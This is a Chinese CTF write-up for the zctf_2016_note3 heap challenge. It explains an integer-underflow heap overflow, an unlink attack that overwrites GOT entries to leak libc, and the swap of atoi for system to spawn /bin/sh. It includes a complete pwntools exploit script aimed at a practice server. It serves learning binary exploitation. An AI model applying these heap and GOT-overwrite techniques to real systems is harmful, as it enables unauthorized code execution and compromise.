zctf_2016_note3(无show,利用unlink去改got表去实现show)

检查防护

1

got表可写,也没有开启PIE

IDA静态分析

2

这题的漏洞点在edit里,这里a2是我们add时输入的size值,如果我们输入0,那么这里a2-1就等于-1,i是无符号整型,那么我们就可以输入足够多的内容去覆盖下一个chunk,造成了堆溢出

这道题没有show,那么我们要思考如何去泄露libc,这题有存放我们chunk的malloc指针的数组,所以是符合unlink的条件的

我们可以通过unlink去修改free@got为puts@plt,那么我们去free的时候相当于执行puts,如果参数设置为atoi@got就可以泄露libc了

首先布置堆风水触发unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
target = 0x6020c0

fd = target - 0x8
bk = target

add(0,'aaaa')
add(0x60,'aaaa')
add(0x90,'aaaa')
add(0x10,'aaaa')



payload_1 = 'a'*(0x10)+p64(0)+p64(0x71)+p64(0)+p64(0x60)+p64(fd)+p64(bk)+b'a'*(0x40)+p64(0x60)+p64(0xa0)
edit(0,payload_1)
free(2)

3

我们现在去edit(1)就可以布置指针数组里的内容了

1
2
3
4
5
payload_2 = p64(0)*3+p64(elf.got['free'])+p64(elf.got['atoi'])*2
edit(1,payload_2)


edit(1,p64(elf.plt['puts'])[:-1])

我们先把free@got写入,再编辑时就是修改free@got了,这里需要主要一个问题就是我们只写入7个字节,不能写成

1
edit(1,p64(elf.plt['puts']))

因为程序会在用户输入后面加上\x00,若发送8位会将下一个got地址低字节变为0,那么程序就崩溃了,这里puts@plt高字节也为\x00,所以发送7位无影响。后面再去泄露libc

1
2
3
4
5
free(3)
atoi_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success('atoi_addr = ' + hex(atoi_addr))
libc_base = atoi_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']

那么再去修改atoi@got为system,再发送/bin/sh就拿到shell了

1
2
3
edit(2,p64(system)[:-1])
io.recvuntil('option--->>\n')
io.sendline('/bin/sh\x00')

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

context.log_level = "debug"
context.arch="amd64"
io = remote("node4.buuoj.cn",26433)
#io = process('./zctf_2016_note3')
libc = ELF('./libc-2.23-64.so')
elf = ELF('./zctf_2016_note3')



def add(size,content):
io.recvuntil('option--->>\n')
io.sendline(str(1))
io.recvuntil('Input the length of the note content:(less than 1024)')
io.sendline(str(size))
io.recvuntil('Input the note content:')
io.sendline(content)



def edit(index,content):
io.recvuntil('option--->>\n')
io.sendline(str(3))
io.recvuntil('Input the id of the note:')
io.sendline(str(index))
io.recvuntil('Input the new content:')
io.sendline(content)


def free(index):
io.recvuntil('option--->>\n')
io.sendline(str(4))
io.recvuntil('Input the id of the note:')
io.sendline(str(index))


target = 0x6020c0

fd = target - 0x8
bk = target

add(0,'aaaa')
add(0x60,'aaaa')
add(0x90,'aaaa')
add(0x10,'aaaa')



payload_1 = 'a'*(0x10)+p64(0)+p64(0x71)+p64(0)+p64(0x60)+p64(fd)+p64(bk)+b'a'*(0x40)+p64(0x60)+p64(0xa0)
edit(0,payload_1)
free(2)

payload_2 = p64(0)*3+p64(elf.got['free'])+p64(elf.got['atoi'])*2
edit(1,payload_2)


edit(1,p64(elf.plt['puts'])[:-1])

free(3)
atoi_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success('atoi_addr = ' + hex(atoi_addr))
libc_base = atoi_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']


edit(2,p64(system)[:-1])
io.recvuntil('option--->>\n')
io.sendline('/bin/sh\x00')
io.interactive()

4